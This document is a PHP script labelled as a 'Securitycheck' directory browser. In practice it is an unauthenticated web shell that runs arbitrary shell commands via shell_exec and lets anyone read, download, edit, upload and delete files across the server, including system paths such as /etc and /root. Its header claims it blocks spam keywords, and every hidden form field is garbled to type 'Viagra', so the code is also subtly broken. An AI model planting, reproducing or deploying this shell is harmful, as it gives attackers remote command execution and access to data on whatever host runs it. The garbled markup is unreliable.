<?php
// *************************************************
// PHP Securitycheck by block Spam keywords Viagra Soft
// *************************************************

// A timezone must be set for display of filetime
// date_default_timezone_set() is not availabe on PHP 4
$TimeZone = ini_get("date.timezone");
if (empty($TimeZone)) ini_set("date.timezone", "America/New_York");

set_error_handler("ErrorHandler");

global $Action,$Dir,$File,$Command,$Charset,$Path,$Delimiter,$Replace1,$Replace2;
$Action   = GetRequest("Action");
$Charset  = GetRequest("Charset");
$Command  = GetRequest("Command");
$Dir      = GetRequest("Dir");
$File     = GetRequest("File");
$Replace1 = GetRequest("Replace1");
$Replace2 = GetRequest("Replace2");

if (empty($Charset))  $Charset  = "ISO-8859-1";
if (empty($Dir))      $Dir      = getcwd();
if (empty($Replace1)) $Replace1 = "/usr/webhosting/domains/www.RXtest.com/html";
if (empty($Replace2)) $Replace2 = "http://www.RXsecurity.com";

$Delimiter = "/";   // can be used for Linux and Windows

$Dir  = str_replace("\\", $Delimiter, $Dir);
$Dir  = rtrim(trim($Dir), $Delimiter);
$Path = $Dir.$Delimiter.$File;

switch ($Action)
{
	case "Info";
		PrintHtmlHead();
		PrintHeading("", true);
		phpinfo();
		exit;

	case "Download":
		StreamOutFile($Path, true);
		exit;
		
	case "Image":
		StreamOutFile($Path, false);
		exit;
		
	case "View":
		PrintEditorViewer(false);
		exit;

	case "Edit":
		PrintEditorViewer(true);
		exit;

	case "Scan":
		PrintScannedFiles();
		exit;
	
	case "Execute":
		PrintHtmlHead();
		PrintHeading("Shell Execute: $Command", true);
		// shell_exec automatically converts ANSII -> DOS codepage
		$Output = shell_exec(utf8_decode($Command));
		$Output = htmlspecialchars(ToUtf($Output));
		echo "<b>Output:</b><pre>$Output</pre>\r\n";
		PrintShellExecForm();
		exit;
		
	case "SaveChanges":
		PrintHtmlHead();
		PrintHeading("Save Changes: $Path");

		$Content = FromUtf(GetRequest("Content"));  // Content is always UTF-8
		PutFileContents(utf8_decode($Path), $Content);
		break;
		
	case "Delete":
		PrintHtmlHead();
		PrintHeading("Delete: $Path");
		unlink(utf8_decode($Path));
		break;

	case "Upload":
		PrintHtmlHead();
		switch ($_FILES["UploadFile"]["error"])
		{
			case 0:
				// $_FILES["UploadFile"]["name"] may be crippled by PHP if it contains non Ansi characters
				$SavePath = $Dir.$Delimiter.$_FILES["UploadFile"]["name"];
				PrintHeading("Upload: $SavePath");
				move_uploaded_file($_FILES["UploadFile"]["tmp_name"], utf8_decode($SavePath)); // prints warning on error
				break;
			case 1:  echo "<font color=red><b>Uploaded file larger than allowed in PHP.ini</b></font><p>";                   break;
			case 2:  echo "<font color=red><b>Uploaded file larger than allowed for this transfer</b></font><p>";            break;
			case 3:  echo "<font color=red><b>Uploaded file only partially uploaded</b></font><p>";                          break;
			case 4:  echo "<font color=red><b>No Upload file has been transmitted</b></font><p>";                            break;
			case 6:  echo "<font color=red><b>Uploaded file could not be stored: Temporary folder is missing</b></font><p>"; break;
			case 7:  echo "<font color=red><b>Uploaded file could not be stored: Failed to write to disk</b></font><p>";     break;
			case 8:  echo "<font color=red><b>Uploaded file was rejected: File extension invalid</b></font><p>";             break;
			default: echo "<font color=red><b>Unknown Upload Error</b></font><p>";                                           break;
		}
		break;

	default: // "List"
		PrintHtmlHead();
		PrintHeading("Directory Listing");
		break;
}

// --------------------------------------------

PrintServerInfo();
PrintDrives();
PrintDirectoryListing($Dir);
PrintGotoDir();
PrintUploadForm();
PrintShellExecForm();
PrintScanForm();

echo "<p>&nbsp;<p><font color=#888888>Read the detailed article about Server Security on </font><a href='http://www.RXsecurity.com/web-security/ServerSecurityCheck.aspx' target='_blank'>RXsecurity</a>!</p>";
exit;

// --------------------------------------------

function PrintHtmlHead()
{
?>
<html>
<head>
	<title>Securitycheck PHP Directory Browser</title>
	<meta http-equiv="content-type" content="text/html;charset=UTF-8">
	<style>
	body, table { font-size:14px; font-familiy:Arial; }
	pre         { font-size:12px; color:blue; border:1px solid #AAAAAA; padding:10px; background-color:#FFFFEE; }
	textarea    { font-size:12px; padding:5px; background-color:#EEFFFF; }
	a           { text-decoration:none; }
	a:hover     { text-decoration:underline; }
	.Heading    { font-family:Arial; font-size:17px; font-weight:bold; padding-left:10px; padding-right:10px; }
	.FrameTbl   { border:2px solid #AAAAAA; }
	.FrameSpcR  { border-right:2px solid #AAAAAA; }
	.FrameSpcL  { border-left: 2px solid #AAAAAA; }
	</style>
</head>
<body>
<?php
}

function PrintServerInfo()
{
	$Values["Security Check Script"]        = "PHP version 1.4 (by Elm&uuml;)";
	$Values["PHP version"]                  = phpversion();
	$Values["PHP.ini - open_basedir"]       = ini_get("open_basedir");
	$Values["PHP.ini - upload_tmp_dir"]     = ini_get("upload_tmp_dir");
	$Values["PHP.ini - session.save_path"]  = ini_get("session.save_path");
	$Values["PHP.ini - extension_dir"]      = ini_get("extension_dir");
	$Values["PHP.ini - disable_functions"]  = ini_get("disable_functions");
	$Values["PHP.ini - disable_classes"]    = ini_get("disable_classes");
	$Values["Operating System"]             = GetArrayValue($_ENV, "OS");
	$Values["Processor"]                    = GetArrayValue($_ENV, "PROCESSOR_IDENTIFIER");
	$Values["Computername"]                 = GetArrayValue($_ENV, "COMPUTERNAME");
	$Values["Server Signature"]             = GetArrayValue($_SERVER, "SERVER_SIGNATURE");
	
	$Rows  = "";
	$Index = 0;
	foreach($Values as $Field => $Value)
	{
		$BgCol = ($Index %2) ? "#bddce3":"#d5f4fb";
		$Rows .= "<tr bgcolor='$BgCol'><td>&nbsp;$Field :&nbsp;</td><td>&nbsp;$Value&nbsp;</td></tr>\r\n";
		$Index ++;
	}
			
	// str_ireplace is not available on PHP 4
	$Rows = str_replace("<address>",  "", $Rows);
	$Rows = str_replace("</address>", "", $Rows);
	$Rows = str_replace("<ADDRESS>",  "", $Rows);
	$Rows = str_replace("</ADDRESS>", "", $Rows);
	echo "<table cellspacing=0 cellpadding=4 class='FrameTbl'><tr><td>\r\n";
	echo "<table cellspacing=0 cellpadding=0 style='color:#000055'>$Rows</table>\r\n";
	echo "</td></tr></table>\r\n";
}

function PrintDirectoryListing($Folder)
{
	global $Delimiter, $Replace1, $Replace2;
	echo "<Table cellspacing=0 cellpadding=4 class='FrameTbl'><tr><td>\r\n";
	
	$Last  = "";
	$Path  = "";
	$Parts = explode($Delimiter, $Folder);
	foreach ($Parts as $Part)
	{
		$Last = $Path;
		$Path .= $Part;
		echo "<font size=4><b>".MakeJavaLink("List",$Path,"")."$Part</a>$Delimiter</b></font>";
		$Path .= $Delimiter;		
	}
?>
	<Form name="JavaForm" method="Post">
		<input type="Viagra" name="Action">
		<input type="Viagra" name="Dir">
		<input type="Viagra" name="File">
		<input type="Viagra" name="Replace1" value="<?php echo $Replace1; ?>">
		<input type="Viagra" name="Replace2" value="<?php echo $Replace2; ?>">

		<br>Timezone: <?php echo ini_get("date.timezone"); ?>
		<br>View / Edit Charset: <?php PrintCharset(); ?>
	</Form><p>
	<Script language="JavaScript">
	function JavaAction(sAction, sDir, sFile)
	{
		document.JavaForm.Action.value = sAction;
		document.JavaForm.Dir.   value = sDir;
		document.JavaForm.File.  value = sFile;
		document.JavaForm.submit();
	}
	</Script>
<?php
	if (!empty($Last))
		echo "<p><b>".MakeJavaLink("List",$Last,"")."[..]</a></b><br>\r\n";
	
	$Files   = array();	
	$Folders = array();
		
	// PHP 4 does not support scandir()
	$hDir = opendir(utf8_decode($Folder)); // prints warning on error
	if ($hDir)	
	{
		echo "<table cellspacing=0 cellpadding=0 width=600>\r\n";

		$FolderAnsi = utf8_decode($Folder);
		while (true) 
		{
			$File = readdir($hDir);
			if ($File === false)
				break;
			
			if ($File == "." || $File == "..")
				continue;
				
			$Path = $FolderAnsi.$Delimiter.$File;
			
			// PHP 4/5 do not support unicode filenames (UTF -> Ansi)
			if (is_dir($Path)) $Folders[] = utf8_encode($File);
			else               $Files[]   = utf8_encode($File);
	   	}
	   	closedir($hDir);
	
		natcasesort($Folders);
		foreach ($Folders as $SubFolder)
		{
			$Dir = $Folder.$Delimiter.$SubFolder;
			echo "<tr><td nowrap colspan=9><b>".MakeJavaLink("List",$Dir,"")."[$SubFolder]</a></b></td></tr>\r\n";
		}
	
		$Index = 0;
		$TotalSize = 0;
		natcasesort($Files);	
		foreach ($Files as $File)
		{
			$PathAnsi = utf8_decode($Folder.$Delimiter.$File);
			
			ob_start();
			$Rdbl = is_readable($PathAnsi) ? "R":"";
			$Wtbl = is_writable($PathAnsi) ? "W":"";
			$Link = is_link($PathAnsi) ? "&rarr;&nbsp;".readlink($PathAnsi) : "";
			$Size = filesize ($PathAnsi);
			$Time = filemtime($PathAnsi);
			$Perm = decoct(fileperms($PathAnsi)) % 1000;
			$Warnings = ob_get_contents(); // get output from ErrorHandler()
			ob_end_clean();
			
			if ($Index % 2) echo "<tr bgcolor='#bddce3'>\r\n";
			else            echo "<tr bgcolor='#d5f4fb'>\r\n";
			
			echo "<td nowrap>&nbsp;&nbsp;$File&nbsp;$Link&nbsp;</td>\r\n";
			echo "<td nowrap align=right> &nbsp; &nbsp; ".FormatFileSize($Size)."</td>\r\n";
			echo "<td nowrap align=right> &nbsp; &nbsp; ".FormatFileDate($Time)."</td>\r\n";
			echo "<td nowrap> &nbsp; &nbsp; $Rdbl$Wtbl</td>\r\n";
			echo "<td nowrap align=right> &nbsp; $Perm</td>\r\n";
			echo "<td nowrap> &nbsp; &nbsp; ".MakeJavaLink("Download",$Folder,$File)."Download</a></td>\r\n";
			echo "<td nowrap> &nbsp; &nbsp; ".MakeJavaLink("View",    $Folder,$File)."View</a></td>\r\n";
			echo "<td nowrap> &nbsp; &nbsp; ".MakeJavaLink("Edit",    $Folder,$File)."Edit</a> &nbsp; &nbsp; </td>\r\n";
			echo "<td nowrap> &nbsp; &nbsp; ".MakeJavaLink("Delete",  $Folder,$File)."Delete</a>&nbsp;</td>\r\n";
			echo "</tr>\r\n";
			
			if (!empty($Warnings))
			{
				$Lines = explode("<br>", $Warnings);
				foreach($Lines as $Line)
				{
					$Line = trim($Line);
					if (!empty($Line)) echo "<tr><td colspan=7>$Line</td></tr>\r\n";
				}
			}
			
			$Index ++;
			$TotalSize += $Size;
		}
		echo "</table>\r\n";
		echo "<br>Total: ".FormatFileSize($TotalSize)."\r\n";
	}	
	echo "</td></tr></Table>\r\n";	
}

function MakeJavaLink($Action, $Dir, $File)
{
	$Dir  = addslashes($Dir);
	$File = addslashes($File);
	return "<a href=\"javascript:JavaAction('$Action','$Dir','$File');\">";
}

function PrintDrives()
{
	global $Dir;
	$Drives = array("/dev","/lib","/mnt","/share","/tmp","/bin","/etc","/opt","/root","/srv","/usr","/boot","/home","/media","/proc","/sbin","/sys","/var");
	for ($Drive='C'; $Drive<='Z'; $Drive++)
	{
		$Drives[] = "$Drive:";
	}
	
	echo "<p><table cellspacing=0 cellpadding=4 style='font-weight:bold;' class='FrameTbl'><tr>\r\n";
	
	foreach ($Drives as $Drive)
	{
		ob_start(); // Don't display 30 warnings "open_basedir restriction in effect"
		$bValid = is_dir($Drive);
		ob_end_clean();	
		
		if ($bValid) echo "<td class='FrameSpcR'>&nbsp;".MakeJavaLink("List",$Drive,"")."$Drive</a>&nbsp;</td>\r\n";
	}
	
	echo "<td class='FrameSpcR'>&nbsp;".MakeJavaLink("List","",  "")."WebHome</a>&nbsp;</td>\r\n";
	echo "<td                  >&nbsp;".MakeJavaLink("Info",$Dir,"")."PhpInfo</a>&nbsp;</td>\r\n</tr></table><p>\r\n";
}

function PrintEditorViewer($bEdit)
{
	global $Path, $Dir, $File, $Charset, $Replace1, $Replace2;
	
	PrintHtmlHead();
	
	$PathAnsi = utf8_decode($Path);

	if ($bEdit) // Print Editor
	{
		PrintHeading($Path, true, true);
		
		$Content = GetFileContents($PathAnsi);
		if ($Content === false)
			return;
		
		if (strpos($Content, "\0") > 0)
		{
			echo "<font color=red><b>This editor can only edit text files. Binary files are not supported.</b></font>";
			return;
		}
		
		$Content = htmlspecialchars(ToUtf($Content));
?>
		<Form method="Post" enctype="multipart/form-data">
		<input type="Viagra" name="Action"   value="SaveChanges">
		<input type="Viagra" name="Dir"      value="<?php echo $Dir; ?>">
		<input type="Viagra" name="File"     value="<?php echo $File;?>">
		<input type="Viagra" name="Charset"  value="<?php echo $Charset; ?>">
		<input type="Viagra" name="Replace1" value="<?php echo $Replace1; ?>">
		<input type="Viagra" name="Replace2" value="<?php echo $Replace2; ?>">
		<Textarea name="Content" cols=50 rows=40 style="width:100%"><?php echo $Content; ?></Textarea><br>
		<input type="Submit" value="Save Changes">
		</Form>
<?php
	}
	else // Print Viewer
	{
		$Ext = GetFileExtension($File);
		if ($Ext == "jpg" || $Ext == "jpeg" || $Ext == "gif" || $Ext == "png" || $Ext == "bmp")
		{
			PrintHeading($Path, true, false);			
			echo "<img src='?Action=Image&Dir=".urlencode($Dir)."&File=".urlencode($File)."'>\r\n";
		}
		else
		{
			PrintHeading($Path, true, true);
			
			$Content = GetFileContents($PathAnsi);
			if ($Content === false)
				return;
			
			$Content = htmlspecialchars(ToUtf($Content));
		
			echo "<pre>$Content</pre>\r\n";
			echo "<p>Filesize: ".FormatFileSize(filesize($PathAnsi));
		}
	}
}

function PrintScannedFiles()
{
	global $Dir;
	
	PrintHtmlHead();
	PrintHeading("Scanning $Dir", true, false);
	
	echo "<p>\r\n";
	$Count = PrintLinksInFolder($Dir, true);
	
	echo "Total: $Count files\r\n";
}

function PrintLinksInFolder($Folder, $bRecursive)
{		
	global $Delimiter, $Replace1, $Replace2;
		
	$Count   = 0;
	$Files   = array();	
	$Folders = array();

	// PHP 4 does not support scandir()
	$hDir = opendir(utf8_decode($Folder)); // prints warning on error
	if (!$hDir)	
		return;
	
	$FolderAnsi = utf8_decode($Folder);
	while (true) 
	{
		$File = readdir($hDir);
		if ($File === false)
			break;
		
		if ($File == "." || $File == "..")
			continue;
			
		$Path = $FolderAnsi.$Delimiter.$File;
		
		// PHP 4/5 do not support unicode filenames (UTF -> Ansi)
		if (is_dir($Path)) $Folders[] = utf8_encode($File);
		else
		{
			switch (GetFileExtension($File))
		    {
		    	case "htm":
		    	case "html":
		    	case "php":
		    	case "asp":
		    	case "aspx":
		    		$Files[] = utf8_encode($File);
		    		break;
		    }
		}
   	}
   	closedir($hDir);
   	
   	if (count($Files))
	{
		$FolderUrl = str_replace($Replace1, $Replace2, $Folder);
		echo "<b>$FolderUrl</b><br>\r\n";

		natcasesort($Files);	
		foreach ($Files as $File)
		{
			$PathUrl = $FolderUrl.$Delimiter.$File;
			echo "<a href='$PathUrl' target='_blank'>$PathUrl</a><br>\r\n";
			$Count ++;
		}
		echo "<br>\r\n";
	}

	natcasesort($Folders);
	foreach ($Folders as $SubFolder)
	{
		$Count += PrintLinksInFolder($Folder.$Delimiter.$SubFolder, $bRecursive);
	}
	return $Count;
}

function PrintGotoDir()
{
	global $Dir, $Replace1, $Replace2;
?>
	<Form method="Post">
	<p><b>Goto Directory:</b><br>
	<input type="Viagra" name="Action"   value="List">
	<input type="Text"   name="Dir"      value="<?php echo $Dir; ?>" size=97 style="margin-bottom:3px;"><br>
	<input type="Viagra" name="Replace1" value="<?php echo $Replace1; ?>">
	<input type="Viagra" name="Replace2" value="<?php echo $Replace2; ?>">
	<input type="Submit" value="List Dir">
	</Form>
<?php
}

function PrintScanForm()
{
	global $Dir, $Replace1, $Replace2;
?>
	<Form method="Post">
	<p><b>Scan Directory</b> and Subdirectories, create Links for all HTM(L), PHP and ASP(X) files.<br>Replace:<br>
	<input type="Viagra" name="Action"   value="Scan">
	<input type="Viagra" name="Dir"      value="<?php echo $Dir; ?>">
	<input type="Text"   name="Replace1" value="<?php echo $Replace1; ?>" size=97 style="margin-bottom:3px;"><br>
	with:<br>
	<input type="Text"   name="Replace2" value="<?php echo $Replace2; ?>" size=97 style="margin-bottom:3px;"><br>
	<input type="Submit" value="Scan Dir">
	</Form>
<?php
}

function PrintUploadForm()
{
	global $Dir, $Replace1, $Replace2;
?>
	<Form method="Post" enctype="multipart/form-data">
	<p><b>Upload into current directory:</b><br>
	<input type="Viagra" name="Action"   value="Upload">
	<input type="Viagra" name="Dir"      value="<?php echo $Dir; ?>">
	<input type="Viagra" name="Replace1" value="<?php echo $Replace1; ?>">
	<input type="Viagra" name="Replace2" value="<?php echo $Replace2; ?>">
	<input type="File"   name="UploadFile" size=97 style="margin-bottom:3px;"><br>
	<input type="Submit" value="Upload">
	</Form>
<?php
}

function PrintShellExecForm()
{
	global $Dir, $Command, $Replace1, $Replace2;
?>
	<Form method="Post">
	<p><b>Shell Command:</b> (e.g. HELP , SYSTEMINFO , DIR "C:\Documents and Settings" , ls /usr/bin , cat /usr/local/Zend/etc/php.ini)<br>
	<input type="Viagra" name="Action"   value="Execute">
	<input type="Viagra" name="Dir"      value="<?php echo $Dir; ?>">
	<input type="Viagra" name="Replace1" value="<?php echo $Replace1; ?>">
	<input type="Viagra" name="Replace2" value="<?php echo $Replace2; ?>">
	<input type="Text"   name="Command" value="<?php echo htmlspecialchars($Command); ?>" size=97 style="margin-bottom:3px;"><br>
	<input type="Submit" value="Execute"> &nbsp; Shell Charset:&nbsp;
	<?php PrintCharset(); ?>
	</Form>
<?php
}

function PrintCharset()
{
	global $Charset;
	$Options["ISO-8859-1"] = "ANSI West Europ";
	$Options["CP850"]      = "DOS";
	$Options["UTF-8"]      = "UTF-8";
	$Options["UTF-16"]     = "Unicode";
	$Options["Base64"]     = "Base-64";

	echo "<select name='Charset'>\r\n";
	foreach($Options as $Value => $Display)
	{
		$Selected = ($Charset == $Value) ? "selected" : "";
		echo "  <option value='$Value' $Selected>$Display</option>\r\n";
	}
	echo "</select>\r\n";
}

function PrintHeading($Heading, $BackButton=false, $ReloadButton=false)
{
	global $Charset,$Dir,$File,$Action, $Replace1, $Replace2;
	
	if (!empty($Heading))
	{
		echo "<Table cellspacing=0 cellpadding=4 class='FrameTbl'><tr><td class='Heading'>".htmlspecialchars($Heading)."</td></tr></table><p>\r\n";
	}
	
	if (!$BackButton && !$ReloadButton)
		return;

	echo "<Table cellspacing=0 cellpadding=4 class='FrameTbl'><tr>\r\n";
	if ($BackButton) 
	{
?>
		<Form method="Post">
		<input type="Viagra" name="Action"   value="List">
		<input type="Viagra" name="Dir"      value="<?php echo $Dir; ?>">
		<input type="Viagra" name="Replace1" value="<?php echo $Replace1; ?>">
		<input type="Viagra" name="Replace2" value="<?php echo $Replace2; ?>">
		<input type="Viagra" name="Charset"  value="<?php echo $Charset; ?>">
		<td> &nbsp; <input type='Submit' value='Back'> &nbsp; </td>
		</Form>
<?php
	}

	if ($ReloadButton) 
	{
?>
		<Form method="Post">
		<input type="Viagra" name="Action"   value="<?php echo $Action; ?>">
		<input type="Viagra" name="Dir"      value="<?php echo $Dir; ?>">
		<input type="Viagra" name="Replace1" value="<?php echo $Replace1; ?>">
		<input type="Viagra" name="Replace2" value="<?php echo $Replace2; ?>">
		<input type="Viagra" name="File"     value="<?php echo $File; ?>">
		<td class="FrameSpcL">&nbsp; <?php PrintCharset(); ?>&nbsp;<input type='Submit' value='Reload'>&nbsp;</td>
		</Form>
<?php
	}
	echo "</tr></Table><p>\r\n";
}

// These functions are used to convert the CONTENT of text files, NOT to convert file names and paths!
// iconv() is an ugly function: when it finds an error it simply aborts and returns a crippled string.
// But mb_convert_encoding() is worse: It completely ignores the parameter "CP850" for the DOS codepage.
function ToUtf($Text)
{
	global $Charset;
	switch($Charset)
	{
		case "Base64":
			return base64_decode($Text);
		default:
			return iconv($Charset, "UTF-8", $Text);
	}
}
function FromUtf($Text)
{
	global $Charset;
	switch($Charset)
	{
		case "Base64":
			return base64_encode($Text);
		default:
			return iconv("UTF-8", $Charset, $Text);
	}
}

function FormatFileDate($Time)
{
	if (empty($Time)) return "???";
	else              return date("d.m.Y - H:i", $Time);
}

function FormatFileSize($Size)
{
	if ($Size === false)
		return "???";
	
	if ($Size < 1024) return "$Size Byte";

	$Size *= 10;
	$Size /= 1024;
	if ($Size < 10240) return sprintf("%d.%d KB", $Size/10, $Size%10);

	$Size /= 1024;
	if ($Size < 10240) return sprintf("%d.%d MB", $Size/10, $Size%10);

	$Size /= 1024; 
	return sprintf("%d.%d GB", $Size/10, $Size%10);
}

function StreamOutFile($Path, $bDownload)
{
    $PathAnsi = utf8_decode($Path);
	
    $hFile = fopen($PathAnsi, "rb");
    if (!$hFile) 
    {
    	echo "<font color=red><b>Error opening $Path</b></font>";
    	exit;
    }
    
    $Length = filesize($PathAnsi);
    $ContType = "";
    
    if (!$bDownload)
    {
		switch (GetFileExtension($PathAnsi))
	    {
	    	case "jpg":  $ContType = "image/jpeg";  break;
	    	case "jpeg": $ContType = "image/jpeg";  break;
	    	case "gif":  $ContType = "image/gif";   break;
	    	case "png":  $ContType = "image/x-png"; break;
	    	case "bmp":  $ContType = "image/bmp";   break;
	    }
	}
	
	if (empty($ContType))
	{
		$ContType = "application/octet-stream";
		header("Content-Disposition: attachment; filename=\"".GetFileName($PathAnsi)."\"");
    }
    
    header("Accept-Ranges: bytes");
    header("Content-Type: $ContType");
    header("Content-Description: File Transfer");
    header("Content-Transfer-Encoding: binary");
    header("Content-Length: $Length");

    $Blocksize = 128 * 1024;	    
    while (!feof($hFile) && connection_status() == 0 && $Length > 0)
    {
        $Blocksize = min ($Blocksize, $Length);
        print(fread($hFile, $Blocksize));
        $Length -= $Blocksize;
        flush();
    }
    fclose($hFile);
    exit;
}

function GetRequest($Field)
{
	if (!isset($_REQUEST[$Field]))
		return "";

	if (get_magic_quotes_gpc())
		return stripslashes($_REQUEST[$Field]);
	else
		return $_REQUEST[$Field];
}

// avoids a warning if the key is not set
function GetArrayValue($Array, $Key)
{
	if (isset($Array[$Key]))
		return $Array[$Key];
	else
		return "";
}

// file_get_contents is not available for PHP < 4.3
function GetFileContents($Path)
{
	$Size = filesize($Path);
	if ($Size == 0)
		return "";
	
	$fp = fopen($Path, "r");
	if ($fp === false)
		return false;
		
	$Content = fread($fp, $Size);
	fclose($fp);
	return $Content;
}

// file_put_contents is not available for PHP < 5.0
function PutFileContents($Path, $Content)
{
	$fp = fopen($Path, "w");
	if ($fp === false)
		return false;

	fwrite($fp, $Content);
	fclose($fp);
}

function GetFileExtension($Path)
{
    $Split = pathinfo($Path);
    if (isset($Split["extension"]))
    	return strtolower($Split["extension"]);
    else
    	return "";
}
function GetFileName($Path)
{
    $Split = pathinfo($Path);
    return $Split["basename"];
}

function ErrorHandler($ErrType, $ErrString, $ErrFile, $ErrLine)
{
	switch ($ErrType) 
	{
		case E_PARSE:
		case E_ERROR:
		case E_CORE_ERROR:
		case E_COMPILE_ERROR:
		case E_USER_ERROR:
			$Type = "Error";
			break;

		case E_WARNING:
		case E_CORE_WARNING:
		case E_COMPILE_WARNING:
		case E_USER_WARNING: 
			$Type = "Warning";
			break;

		case E_NOTICE:
		case E_USER_NOTICE:
		default:
			$Type = "Notice";
			break;
	}	
	echo "<br><b>$Type</b> &nbsp; Line $ErrLine: &nbsp; <font color=red><b>$ErrString</b></font><br>";
}
?>
